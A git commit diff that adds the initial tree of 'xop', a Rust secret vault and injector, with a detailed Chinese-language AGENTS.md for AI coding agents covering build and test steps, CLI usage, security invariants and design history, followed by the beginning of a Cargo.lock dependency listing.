commit e4c93e1e13c2f4cddecc3bd496424f5fa890d246 Author: xop-bot Date: Fri Oct 2 18:25:29 2026 +0800 initial: xop source tree diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f1745d4 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +target/ +**/*.swp +.DS_Store diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..6c10bfc --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,276 @@ +# xop · AI Agent 操作速查(上下文压缩后自动加载) + +> 本文件是 **xop 给 AI agent 的"可执行附录"**:Claude Code / WorkBuddy / 其他 agent harness 在每次会话开头、以及**上下文压缩(compact)后**都会自动重新加载它。 +> 项目根:`/Users/xs/Documents/xop` +> 完整交接文档在 [`HANDOFF.md`](./HANDOFF.md);架构/威胁模型/对比在 [`docs/`](./docs/)。 + +--- + +## 0. 一句话定位 + +**xop = 自带加密 vault + OS-auth gate 的 secret 注入器**。`xop init | set | list | get | rm` 管理本地 vault(`~/.xop/key.db`,AES-256-GCM + argon2id,LAContext 真指纹预闸门,取消即拒绝,绝不弹系统密码框);`xop [flags] -- CMD` 把 vault 里的真值注入到子进程的 envp/Askpass/fd,同时强制 Deno 风格的 network/file policy,并在 stdout 里 mask 任何泄漏。**无外部后端依赖**——不调 `op` / `vault` / `security` CLI。 + +**改 Rust 源码 → 必须 `cargo check` + `cargo test --lib` + `cargo test --test integration` 通过 → 再交付**。编译错或测试红禁止 commit。 + +**解锁模型(v0.2.1,2026-10-02 两次实测修正)**:vault 密钥永远 = `argon2(passphrase)`。每次操作先过 **OS 身份闸门**,闸门结论决定 keyring 能不能静默解锁:① 本地真 TTY → 弹 **LAContext 真指纹验证**(只认手指、绝无密码输入框;**取消 = 拒绝操作 exit 77,不静默放行**)→ 通过后才允许 keyring 免输;② **SSH 会话**(stdin 是 pty 但检测到 `SSH_TTY/SSH_CONNECTION/SSH_CLIENT` env)→ **绝不弹指纹**(弹窗会飞到本机物理屏幕上,远程用户根本看不到/等不到),也**不走 keyring**——没有指纹现证,必须输入 **xop passphrase(管理员密码)**;③ 本地设备无可用指纹(未录入、锁定、无密码、无 GUI、osascript 坏)→ 同样强制输入 xop passphrase;④ Linux 交互会话 → 无指纹闸门可用(pkexec 系统口令框按"永不输系统密码"红线删除)→ xop passphrase;⑤ headless 非 TTY 自动化(agent/pipe/CI/`ssh host cmd` 无 pty)→ 跳过闸门,keyring 静默解锁(`xop run` 无人值守的依据)。解锁密钥来源:文件 keyring `~/.xop/keyring`(0600,存 hex 派生密钥,`xop init` 自动写入 / `xop key --save` 补写;`xop key --remove` 吊销)或终端手输(闸门要求输 passphrase / 无 keyring / `XOP_NO_KEYRING=1` 时)。**明确设计决定(2026-10-02):绝不使用 macOS Keychain**——keychain 方案在后台自动化时会弹系统授权对话框(曾被用户否决),xop 任何代码路径都不调 `security(1)`。keyring 权限位不合规(group/other 可读)直接拒用报错。release 二进制永不读 `XOP_VAULT_PASSWORD` env。子进程 stdout/stderr 中的任何 vault 值会被自动 mask 成 `12****【xop禁止将密钥泄漏】`(前 2 真实字符 + 星号 + 警告),`--on-leak=kill|refuse` 时直接 SIGKILL 子进程。 + +--- + +## 1. 编译 + 测试 + +```bash +cd /Users/xs/Documents/xop + +# 快速检查(增量编译,最常用) +cargo check --all-targets + +# 跑单元测试(64 个:args(含 get -v 解析)/ secret / policy / audit / vault / keyring / auth(touchid classify + decide 决策表)/ stdout-guard / error / injector) +cargo test --lib + +# 跑集成测试(17 个:help / dry-run / bad-ref / secrets-file / mask 端到端 / keyring 免密解锁 / SSH-headless / get 默认 mask / get -v 明文) +# 集成测试需要 auth bypass + 已知 passphrase。`XOP_VAULT_PASSWORD` 仅在 +# `--features test-bypass` 构建中才被读取;release binary 永远不读这个 env +# ——passphrase 必须用户亲输。所以集成测试必须显式启用 feature。 +XOP_AUTH_BYPASS=1 XOP_VAULT_PASSWORD=testpass \ + cargo test --features test-bypass --test integration -- --test-threads=1 + +# 完整构建 + smoke(默认 release build 不带 test-bypass feature) +cargo build --release +./target/release/xop # banner +./target/release/xop help # 完整帮助 +./target/release/xop --dry-run --secret FOO=foo --allow-net=db.local:5432 --deny-net=* -- echo hi +./target/release/xop run --secret SSHPASS=ssh_pass -- sshpass -e ssh user@host + +# 跑全部测试(不要漏 env vars) +cargo test --lib && \ + XOP_AUTH_BYPASS=1 XOP_VAULT_PASSWORD=testpass \ + cargo test --features test-bypass --test integration -- --test-threads=1 +``` + +**注意**: +- 修改 `Cargo.toml` 加依赖后**必须 `cargo check`** 让 Cargo.lock 重新生成 +- `--test-threads=1` 在集成测试里**必须带**,因为某些测试改 `HOME` / env 状态 +- 集成测试用 `--features test-bypass` 构建;**release 永远不带这个 feature**(防止 `XOP_VAULT_PASSWORD` 变成绕过 vault 加密的后门) +- 编译警告允许带 `#[allow(...)]`,但新代码不写 `unwrap()` 除非能证明 panic-safe + +--- + +## 2. CLI 用法速记 + +```bash +# ── Vault 管理 ────────────────────────────────────────────────────── +# 一次性初始化(init 本身不要求 Touch ID — 此时还没有可保护的东西) +xop init +# init 问 passphrase ×2,然后自动写 ~/.xop/keyring(0600 文件 keyring, +# 存 argon2 派生密钥的 hex;不是 macOS Keychain): +# 本地真 TTY:弹指纹 → 通过 → 静默读 keyring,零 passphrase +# SSH 交互 / 无可用指纹 / Linux 交互:必须手输 xop passphrase(keyring 不参与) +# headless 自动化(agent/pipe/无 pty):跳过闸门 + keyring 静默 +# 管理:xop key(状态)/ xop key --save(补写,老 vault 用它启用免密) +# xop key --remove(吊销,回到手输) +# revoke:`xop reset --yes` 会级联删 keyring 文件 + +# 存 / 列 / 取 / 删 secret(keyring 已存则免 passphrase) +xop set DB_PASS # TTY 上值输入带部分 mask(前 2 位明文 + *) +echo "hunter2" | xop set DB_PASS # 非 TTY(pipe/agent)从 stdin 读值 +xop list # 列 key 名(不显示 value) +xop get DB_PASS # 默认脱敏输出 `su****【xop禁止将密钥泄漏】`(前 2 位) +xop get DB_PASS -v # 明文——人眼核对专用;AI agent 禁止 -v(明文会进模型上下文),用 xop run --secret 注入 +xop rm DB_PASS # 删除单个 +xop reset --yes # 删整个 vault + audit + keyring(应急) + +# ── Exec-mode:envp 注入(传统)────────────────────────────────────── +xop --secret DB_PASS=db_pass \ + --allow-net=mysql.local:5432 --deny-net='*' \ + -- mysql -h mysql.local -u app mydb + +# ── `xop run`:envp 注入 + argv 占位符(推荐用于 SSH)──────────────── +# envp 注入:vault 值 → 子进程环境变量 +xop run --secret SSHPASS=s11_pass \ + --allow-net=192.168.1.19:22 --deny-net='*' \ + -- sshpass -e ssh rong@192.168.1.19 'ls /Users' + +# argv 占位符:vault 值直接替换 argv 里的 xop://KEY 字符串 +# ⚠️ 替换后的字符串会出现在 /bin/ps 里 —— 密码用 --secret,命令行参数用 xop:// +xop run -- ssh user@host 'echo connect with xop://DB_PASS' + +# 批量注入(commit-safe 的 .env.xop 文件,每行 KEY=NAME) +xop --secrets-file .env.xop -- ./deploy.sh + +# Dry-run:只看 policy,不真执行(AI 自检的 killer feature) +xop --dry-run --secret FOO=foo --allow-net=db:5432 --deny-net=* -- deploy.sh +``` + +**注意**: +- `KEY=NAME` 必须在 `--` 之前;`--` 后是子命令 + 它的 args +- bash 会展开 `$VAR`,所以 secret 引用**不要**直接写在命令行里——用 `--secret` flag 或 `xop://KEY` 占位符 +- v0.2 删了 `--backend` 和所有 scheme 前缀(`op://`、`vault://`)——只有 bare key +- `--dry-run` 在 resolve 之前短路,**不开 vault、不过 OS 闸门**——纯本地打印有效 policy(集成测试 `dry_run_prints_effective_policy` 无 bypass env 也过) +- Passphrase 提示策略:stdin 是真 TTY → 走 `/dev/tty`(隐藏输入),stdin 不是 TTY(agent / pipe / expect)→ fallback 到 stdin。**Release binary 永远不读 `XOP_VAULT_PASSWORD` env**——passphrase 必须用户亲输(或走 keyring 免输) + +--- + +## 3. 模块地图 + +| 想了解 | 看哪里 | +|---|---| +| CLI 所有 flag + 解析 + Subcommand enum | `src/args.rs` | +| ref 长啥样 + 怎么解析(bare `KEY=NAME` + `argv_placeholder` 标志) | `src/secret.rs` | +| 错误类型 + 退出码(BSD sysexits) | `src/error.rs` | +| 权限策略(allow/deny 默认值) | `src/policy.rs::DEFAULT_DENY_READ` + `Policy::from_args` | +| **本地 vault**:文件格式 + 加密 | `src/vault/mod.rs` + `src/vault/format.rs` | +| **文件 keyring**:`~/.xop/keyring` 0600 免密解锁(非 Keychain) | `src/vault/keyring.rs`(路径显式的 `*_at` 核心 + env 门控 wrapper) | +| **OS auth gate**:macOS 真指纹(LAContext via JXA)+ `Gate` 决策(headless/SSH/无指纹/取消) | `src/auth/mod.rs`(`Gate`/`Bio`/`decide`/`ssh_session`)+ `touchid.rs`(`Outcome`/`classify`) | +| 子命令(init / set / list / get / rm / reset / key / run) | `src/commands/{init,set,list,get,rm,reset,key}.rs` + `src/lib.rs::run_join_and_exec` | +| `xop://KEY` argv 占位符 + 单 vault open 协调 | `src/lib.rs::expand_xop_placeholders` + `src/injector.rs::scrub_argv` | +| 怎么注入到子进程 | `src/injector.rs::plan` + `build_envp_delta`(按 `argv_placeholder` 过滤) | +| 子进程 stdout 怎么过滤 | `src/guard/stdout.rs::pipe_filter_loop` | +| 网络/文件策略怎么落 | `src/guard/{network,file}.rs`(STUB,P1) | +| 审计日志格式 + 不变量 | `src/audit.rs`(test `no_value_field_in_any_event` 扫 4 个关键字) | +| 编排 exec-mode pipeline | `src/lib.rs::run_exec`(9 阶段) | +| TTY-aware passphrase prompt(`/dev/tty` vs stdin fallback) | `src/vault/mod.rs::rpassword_prompt` | +| Test-only `XOP_VAULT_PASSWORD` 旁路(gated by Cargo feature) | `src/vault/mod.rs` 的 `#[cfg(feature = "test-bypass")]` 块 + `Cargo.toml::[features]` | +| spawn 真实现(pre_exec + setrlimit) | `src/lib.rs::spawn_child` | + +--- + +## 4. 关键不变量(违反任一 = 安全漏洞) + +| # | 不变量 | 谁保证 | 验证方式 | +|---|---|---|---| +| I1 | LLM API / IPC / shell history **永远不出现 secret value** | `--secret KEY=NAME` flag 设计 + vault 用 `SecretBox` 包装值 | code review:grep `expose_secret` 限定在 injector / guard 内 | +| I2 | 审计日志**没有 `value`/`plaintext`/`ciphertext`/`passphrase` 字段** | `audit::AuditLog` 只接收 `serde_json::Value`,不接收 `ResolvedValue` | `cargo test audit::tests::no_value_field_in_any_event` | +| I3 | `SecretBox::Debug` 打印 `` | `secrecy` crate 保证 | `cargo test secret::tests` | +| I4 | 真值只在 fork 前短暂活在 parent 内存 | `injector::build_envp_delta` 拷贝值进 envp 后立刻 drop parent 端 | 手动 review spawn_child | +| I5 | `--allow-net`/`--deny-net` 默认 deny-by-default | `Policy::from_args` 不接受空 allow 等于全 deny | `cargo test policy::tests` | +| I6 | 子进程退出时 temp 文件清掉 | injector::askpass 负责 `srm -m` + `rm`(P1) | 手动 review + OS-level verification | +| **I7** | **vault 文件只有 passphrase 能解密**(v0.2 新增) | AES-256-GCM + argon2id KDF;OS auth 只是 pre-gate | `cargo test vault::format::tests` | +| **I8** | **keyring 静默解锁只在身份已被证明时允许(本地指纹通过 / headless 自动化);SSH 与无指纹交互场景必须输 xop passphrase,keyring 不参与;且 xop 从不触碰 macOS Keychain**(v0.2.1 两次修订)| `Vault::open`:`auth::authenticate() → Gate`;`AllowKeyring` 才 `keyring::load()`,`RequirePassphrase` 直接 prompt(SSH env / 无生物特征 / osascript 坏 / Linux 交互);`XOP_NO_KEYRING=1` 强制手输;keyring mode 非 0600 报错拒用;代码库无 `security(1)` 调用 | `cargo test auth::tests::decide_*`(5 条决策表)+ code review `vault/mod.rs::open` | +| **I11** | **子进程 stdout/stderr 里的 vault 值必被 mask**(v0.2.1 新增) | `pipe_filter_loop` 行缓冲 + `StdoutGuard::filter`;`--on-leak=kill/refuse` 时 SIGKILL | `cargo test guard::stdout::tests` + integration `run_masks_*` | +| **I9** | **release binary 不读 `XOP_VAULT_PASSWORD` env**(v0.2 新增) | 旁路仅在 `#[cfg(feature = "test-bypass")]` 编译时存在;release 用 `cargo build --release`(不带 feature) | `strings target/release/xop \| grep XOP_VAULT_PASSWORD` 应无匹配 | +| **I10** | **vault 每次 exec 只开一次**(v0.2 新增) | `--secret` 和 `xop://KEY` 占位符共享同一个 `resolve_all` 调用 | code review:`run_join_and_exec` + `run_exec` | + +--- + +## 5. 当前状态(2026-10-02,v0.2.1) + +✅ **已完成(v0.2 pivot 完成)**: +- 删除 `src/backend/{op,vault,kc,env}.rs` + `mod.rs`(4 个外部后端) +- 新增 `src/vault/`:AES-256-GCM + argon2id,atomic write,单元测试覆盖 round-trip / wrong key / 不同 passphrase +- 新增 `src/auth/`:macOS Touch ID(osascript)+ Linux PAM(pkexec)subprocess 方式;TTY 检测 + 1FA fallback +- 新增 `src/commands/`:`init`/`set`/`list`/`get`/`rm`/`reset` 6 个子命令 +- 新增 `xop run` 子命令:`--secret KEY=NAME`(envp 注入) + `xop://KEY`(argv 占位符),通过 `SecretRef::argv_placeholder` 区分 +- 新增 `xop reset --yes` 子命令:清空 vault + audit +- subcommand enum:`init / set / list / get / rm / reset / run / help` +- `Args` 重构:`subcmd: Option` + flat exec 字段 + `Args::as_exec()` + `ExecArgs.argv_placeholders` +- `run_join_and_exec`:单次 vault 开锁统一解析 `--secret` 和 `xop://KEY`;`scrub_argv` 替换 argv、`build_envp_delta` 仅生成 envp +- `spawn_child` 真实现:`tokio::process::Command` + `pre_exec` 闭包设 `RLIMIT_CORE=0` +- `pipe_filter_loop` 真实现:stdout/stderr 双 pipe reader,过滤后写回 inherited +- `build_envp_delta` 真实现:从 `ResolvedValue[]` 生成 `Vec<(String, String)>`,按 `argv_placeholder` 过滤 +- TTY-aware `rpassword_prompt`:stdin 是 TTY → `/dev/tty`;stdin 不是 TTY → fallback stdin(agent / pipe / expect 友好) +- Cargo feature `test-bypass`:仅在 `cargo test --features test-bypass` 时启用 `XOP_VAULT_PASSWORD` 旁路;**release 永不包含** +- 39 unit test + 11 integration test 全绿 +- `Makefile`:build / install(`/usr/local/bin/xop`)/ uninstall / test / smoke / clippy / clean +- 4 篇 docs 全部更新到 v0.2(design / architecture / threat-model / comparison) +- 端到端 SSH 实测:`xop run --secret SSHPASS=s11_pass -- sshpass -e ssh rong@192.168.1.19 ls /Users` 跑通 + +✅ **v0.2.1(2026-10-02,用户实测 4 问题修复)**: +- `xop set` 值输入不再明文回显:TTY 走 rpassword `password_feedback_partial_mask('*', 2)`(前 2 位明文 + 其余 `*`) +- 免密解锁改用**文件 keyring**:`src/vault/keyring.rs`(`~/.xop/keyring`,0600 hex 密钥,`xop init` 自动写);OS 预闸门照旧先跑,之后 `set/list/get/rm/run` 免 passphrase → **AI agent 可无人值守跑 `xop run`**。曾实现过 macOS Keychain 方案,因自动化时弹系统授权对话框被用户否决并整体删除——xop 不调 `security(1)` +- OS 闸门改为**真指纹**:`src/auth/touchid.rs` 用 `osascript -l JavaScript` 调 `LAContext.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)`(biometrics-only,弹窗里没有密码框可点)。旧的 `do shell script "…" with administrator privileges` 实为**系统登录密码框**,且取消后被当"不可用"静默降级继续执行(实测 `xop set` 取消指纹仍存了 secret)——现取消/拒绝一律 `AuthCancelled` exit 77;无指纹设备/会话 → xop passphrase;Linux pkexec 系统口令框删除(gate 变为 no-op) +- 新增 `xop key [--save|--remove]` 子命令:查看/补写/吊销 keyring(用户既有 vault 跑一次 `xop key --save` 即启用免密) +- `xop get` 默认脱敏:输出 `su****【xop禁止将密钥泄漏】`(前 2 位,同 I11 mask 格式),明文只在显式 `-v/--value` 时打印且 stderr 带警示。动因:agent 会话里 `xop get` 的 stdout 直接进模型上下文/日志/shell history——I1 在"读取"路径上原本不设防。`-v` 是人眼专用逃生门,agent 用密钥必须走 `xop run --secret` 注入 +- SSH 实测二次修正:闸门返回 `Gate`(`auth::decide` 纯函数决策表)——**SSH 交互会话绝不弹指纹**(`SSH_TTY/SSH_CONNECTION/SSH_CLIENT` 检测;LAContext 弹窗只会出现在本机控制台),且**无指纹现证(SSH/无生物特征/Linux 交互/osascript 坏)时 keyring 不参与解锁,强制输入 xop passphrase**;只有「本地指纹通过」或「headless 非 TTY 自动化」允许 keyring 静默。`Vault::open` 按 Gate 分支。Linux 不再有 `pam.rs` +- stdout leak guard 修复真 bug:`pipe_filter_loop` 的 `guard_for_reader` 原来是直通 stub(这就是用户看到 `xop run echo xop://s19_pass` 打印明文 `123456` 的原因);现在按行 buffer(跨 chunk 的密钥不漏检)+ mask 格式 `12****【xop禁止将密钥泄漏】` + `kill/refuse` 时 SIGKILL 子进程 + audit `leak_event` +- `xop reset --yes` 级联删 keyring 文件 +- 64 unit + 17 integration 全绿(端到端 mask ×2、keyring 免密解锁 ×1——`env_remove` 掉口令通道验证 `run` 仍成功、touchid LAError 分类 ×8、auth 决策表 decide ×5、SSH+headless 仍走 keyring ×1、get 默认 mask ×2);release 构建 I9 strings 校验通过 + +⚠️ **P1 / 未来工作**: +- ~~`spawn_child` 真实现~~ ✅ v0.2 +- ~~`pipe_filter_loop` 真实现~~ ✅ v0.2 +- ~~`build_envp_delta` 真实现~~ ✅ v0.2 +- ~~`xop://KEY` argv 占位符~~ ✅ v0.2 +- `NetworkGuard` 的 pf/iptables 真接入(当前是 stub,新 vault flow OK) +- `FileGuard` 的 sandbox-exec/landlock 真接入(当前是 stub) +- Askpass 注入策略(SSH_ASKPASS + DISPLAY=:0 + SSH_ASKPASS_REQUIRE=force) +- argv scrubber(检测 `--password=value` 等显式模式) + +完整 TODO 列表见 [`HANDOFF.md`](./HANDOFF.md)。 + +--- + +## 6. 常见踩坑(来自实测 + 设计权衡) + +1. **bash 会展开 `$VAR`** — `xop ssh user:$SSH_PASSWORD@host` 在 bash 里 `$SSH_PASSWORD` 先被 bash 展开成真值,xop 看到的是真值。**永远用 `--secret KEY=NAME` flag**。 + +2. **`secrecy::SecretBox` 的 `expose_secret()`** — 必须 `use secrecy::ExposeSecret;` 才能调。如果 import 漏了,编译错 E0599。`./src/{secret,guard/stdout,vault/mod.rs}.rs` 都已加。 + +3. **`async fn` in trait 必须 `#[async_trait]`** — `Auth::authenticate` 和 `Guard::setup/teardown` 都是 async。trait 必须 derive `async_trait::async_trait`,且 `Cargo.toml` 依赖 `async-trait = "0.1"`。 + +4. **`tokio::process::Command` 不支持 setrlimit** — 想在子进程设 `RLIMIT_CORE=0` 必须用 `pre_exec` 闭包(runs after fork, before exec)。当前 `lib.rs::spawn_child` 已实现,参考 `nix::sys::resource::setrlimit`。 + +5. **`Secret` 在 secrecy 0.10 改名成 `SecretBox`** — 别按 0.8 文档写代码。 + +6. **stdout mask 用 `Vec` 不是 `String`** — 子进程的 stdout 可能是 UTF-8 invalid(binary data);用 bytes 避免 `from_utf8` panic。 + +7. **`audit log` 写之前调 `.flush()`** — 否则 child crash 时 audit 丢失。`AuditLog::write_event` 已 flush。 + +8. **macOS 指纹 = `osascript -l JavaScript` 调 LAContext,不是 admin 弹窗** — `do shell script … with administrator privileges` 是**系统登录密码框**(红线禁止),且 osascript 会命中 admin 授权缓存导致"看起来免密"其实是缓存放行。正确姿势:JXA `ctx.evaluatePolicyLocalizedReasonReply(1, reason, fn)`(policy 1 = biometrics-only,无密码选项)+ 主线程 `NSRunLoop.runUntilDate` 自旋等 block 回调。实测 JXA 能把**私有队列**的 block 回调 marshal 回 JS 线程(NSOperationQueue 探针 107ms 通过);LAContext 无缓存,每次调用都真弹指纹。取消分类:-128/-5/-12 → 拒绝操作;-7/-8/-10/-11/-1008/-1/-6 → 无指纹降级 passphrase。 + +10. **Linux 交互 = 直接输 xop passphrase(`pam.rs` 已删除)** — 旧实现 `pkexec -- true` 弹的是 polkit **系统密码框**,违反"任何时候不要让用户输入系统密码"红线(2026-10-02)。Linux 没有可移植的纯指纹 CLI 闸门,身份无法被生物特征证明 → `decide` 返回 `RequirePassphrase`(keyring 也不参与);headless 自动化仍走 keyring 静默。真 Touch ID 闸门仅 macOS 有。 + +11. **atomic vault write 用 tmp + rename** — `~/.xop/key.db.tmp.` 写完 fsync 后 rename 到 `key.db`,断电不留下半截文件。 + +12. **argon2id 参数:m=64 MiB, t=3, p=4** — 慢 ≈250ms / attempt,现代 CPU 上比 bcrypt/scrypt 都强。**别调低**。 + +13. **`XOP_VAULT_PASSWORD` 是 release 后门,必须 gated** — v0.2 早期把它当 CI/agent 旁路直接读 env,等于"任何有 env 的进程都能解密 vault"。当前用 `#[cfg(feature = "test-bypass")]` 包住;release 永远不编译这段。**校验手段**:`strings target/release/xop | grep XOP_VAULT_PASSWORD` 必须空。 + +14. **TTY-aware passphrase prompt 怎么选** — `is_terminal(stdin)` 决定走 `/dev/tty` 还是 stdin fallback。如果用 `/dev/tty` 检测(`/dev/tty` 文件存在性)会误判(SSH 下文件存在但不可用)。**用 `std::io::IsTerminal`**(POSIX `isatty(fd)`)才是真信号。 + +15. **vault 不要开两次** — 早期 `xop run` 内部先 `expand_xop_placeholders` 开一次 vault,再 `run_exec` 开一次,导致用户输两次 passphrase。修复:让 `expand_xop_placeholders` 只收集名字(不开 vault),把 placeholder 加进 `SecretRef::argv_placeholder=true` 的列表,让 `run_exec::collect_refs` 一次性带去 `resolve_all`。**原则:vault 整个进程最多 open 一次**。 + +16. **`SecretRef::argv_placeholder` 标志位** — 区分 envp 注入(`--secret KEY=NAME`)和 argv 占位符(`xop://KEY`),但走同一个 vault 解析。`build_envp_delta` 跳过 placeholder,`scrub_argv` 处理 placeholder。`ResolvedValue` 镜像这个标志位。 + +17. **绝不在后台自动化里对真实钥匙串做写/删** — v0.2.1 曾实现 macOS Keychain 存 passphrase,`security(1)` 在 agent 会话里会弹出**系统授权对话框**("xop wants to delete/modify keys"),用户看到就是安全事故,方案整体否决删除。免密改走 0600 文件 keyring:无 GUI、无弹窗、可 `xop key --remove` 秒吊销。 + +18. **keyring 静默解锁必须"身份有来源"** — `Vault::open` 先 `auth::authenticate() → Gate`:`AllowKeyring`(本地指纹刚通过 / headless 非 TTY 自动化)才读 keyring;`RequirePassphrase`(**SSH 交互会话**、无可用生物特征、osascript 坏、Linux 交互)**直接强制手输 xop passphrase,keyring 根本不参与**——否则"免密"就没有任何身份验证垫底。旧两版 bug:keychain 方案"命中即连闸门都不问";指纹闸门版把 SSH/无指纹也当"降级继续"仍走 keyring。另外:**lib 单元测试禁止改全局 env(`HOME`/`XOP_NO_KEYRING`/`SSH_*`)**——并行跑会互相污染(实测 4 个 keyring 测试因 set_var("HOME") 竞态随机红),文件逻辑/决策逻辑要抽成参数显式的纯函数(`auth::decide(tty, ssh, bio)`、`keyring::*_at(&Path)`)测。 + +20. **SSH 会话里 `isatty(0)` 是 true,但绝不能弹指纹** — SSH 的 stdin 是 sshd 分配的 pty,TTY 检测≠本地控制台。`LAContext` 的 Touch ID 窗口只会出现在**本机物理控制台**,远程用户既看不到也点不了,表现为"卡住/错弹"。正确做法:检测 `SSH_TTY/SSH_CONNECTION/SSH_CLIENT` env(sshd 注入、本地 Terminal 不会有)→ 直接 `Gate::RequirePassphrase`(用户输管理员密码,keyring 免谈);`ssh host cmd` 无 pty 的自动化场景走 headless keyring 静默。顺序必须 `!tty → AllowKeyring` 先判,tty+ssh 才 RequirePassphrase。 + +19. **stdout mask 必须按行 buffer** — 子进程输出的一个 4096 字节 chunk 可能把密钥劈成两半;`pump()` 只在遇到 `\n` 时才 filter+flush 完整行,残行留在 carry buffer,EOF 再补一次。直接 filter 每个 chunk 会漏检跨 chunk 密钥。expect/Tcl 断言 mask 时注意 glob 的 `*` 匹配任何字符——要用 `regexp {to\*+} $log` 匹配字面星号。 + +21. **`xop get` 默认输出的 `su****【xop禁止将密钥泄漏】` 不是 bug,是闸门** — agent 会话里工具 stdout 直通模型上下文;`get` 若回显明文,注入链路(run 子进程 mask)做得再好也白搭——密钥从"读取"这条路就出去了。看到 mask 说明值存在且对路,**继续用 `xop run` 注入即可;严禁给 agent 路径加 `-v`**(`-v` 是给人眼核对的逃生门,stderr 会打警示)。测试:integration `get_masks_value_by_default` / `get_dash_v_prints_plaintext`。 + +--- + +## 7. 与 xstudio 的衔接(未来) + +xop 是**独立项目**,但定位上是 xstudio `xstudio.ai.runAgentLoop` 的"secret 安全层"。集成路径: + +- **短期**:xstudio plugin 通过 `Process.run("/usr/local/bin/xop --secret ... -- ")` 调用 xop +- **中期**:xop 暴露 `pub use xop::run` library mode,xstudio 直接 link +- **不集成**:xop 永远不需要知道 xstudio 存在(独立开源) + +参考 xstudio 项目里的 `xstudio-control` skill(同义物)。 + +--- + +## 8. 文档索引 + +| 想看 | 路径 | +|---|---| +| 一句话定位 + CLI 速查 | 本文件(AGENTS.md) | +| **完整交接 / 实施路线图** | [`HANDOFF.md`](./HANDOFF.md) | +| 整体设计 + 命令 + 架构 + 不变量 | [`docs/design.md`](./docs/design.md) | +| 12 个威胁 + v0.2 缓解状态 | [`docs/threat-model.md`](./docs/threat-model.md) | +| vs secret-agent / op run / Vault Agent / Deno | [`docs/comparison.md`](./docs/comparison.md) | +| 模块依赖图 + 数据流 + trait 表面 | [`docs/architecture.md`](./docs/architecture.md) | +| 参考实现 | `refs/secret-agent/` | +| 实战示例 | `examples/{init,list,get,ssh,mysql,dry-run}.sh` | +| 集成测试 | `tests/integration.rs` | + +--- + +## 9. License + +MIT. \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..9f986af --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,1783 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aes-gcm" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1" +dependencies = [ + "aead", + "aes", + "cipher", + "ctr", + "ghash", + "subtle", +] + +[[package]] +name = "aho-corasick" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c982642fa9e8606056828ee9a8505737230110bb1099153c79efe865c59d12ba" +dependencies = [ + "memchr", +] + +[[package]] +name = "android_system_properties" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae221649c9976a6f6c56ae1facf410f3ddb33cc661c4b7b61020a912d4237fbc" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.104" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" + +[[package]] +name = "argon2" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072" +dependencies = [ + "base64ct", + "blake2", + "cpufeatures", + "password-hash", +] + +[[package]] +name = "assert_cmd" +version = "2.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2aa3a22042e45de04255c7bf3626e239f450200fd0493c1e382263544b20aea6" +dependencies = [ + "anstyle", + "bstr", + "libc", + "predicates", + "predicates-core", + "predicates-tree", + "wait-timeout", +] + +[[package]] +name = "async-trait" +version = "0.1.92" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82f6aeea286b8eb4dd3431a1be1b59d290ace00f5bfd8e2a159bc2a05e2c1667" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.6", +] + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64ct" +version = "1.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" + +[[package]] +name 